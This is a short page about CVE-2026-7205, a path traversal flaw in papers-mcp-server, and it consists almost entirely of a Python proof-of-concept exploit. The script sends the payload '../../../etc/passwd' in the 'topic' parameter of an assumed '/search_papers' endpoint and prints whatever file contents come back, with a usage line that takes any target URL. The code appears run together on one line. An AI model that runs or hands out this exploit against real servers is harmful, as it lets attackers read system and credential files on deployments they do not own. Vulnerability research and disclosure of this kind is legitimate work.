CVE-2026-7205: papers-mcp-server路径遍历漏洞

# PoC for CVE-2026-7205: Path Traversal in papers-mcp-server # This script demonstrates how to exploit the vulnerable 'topic' parameter. import requests import sys def exploit(target_url): # The vulnerable endpoint is assumed to be '/search_papers' based on the function name # Adjust the endpoint if the actual route differs. endpoint = f"{target_url}/search_papers" # Payload attempting to read /etc/passwd using path traversal sequences # The parameter 'topic' is the vulnerable injection point payload = { "topic": "../../../etc/passwd" } try: print(f"[*] Sending request to: {endpoint}") response = requests.get(endpoint, params=payload, timeout=10) if response.status_code == 200: print("[+] Request successful. Check response content for file contents:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": if len(sys.argv) != 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://localhost:8000") sys.exit(1) exploit(sys.argv[1])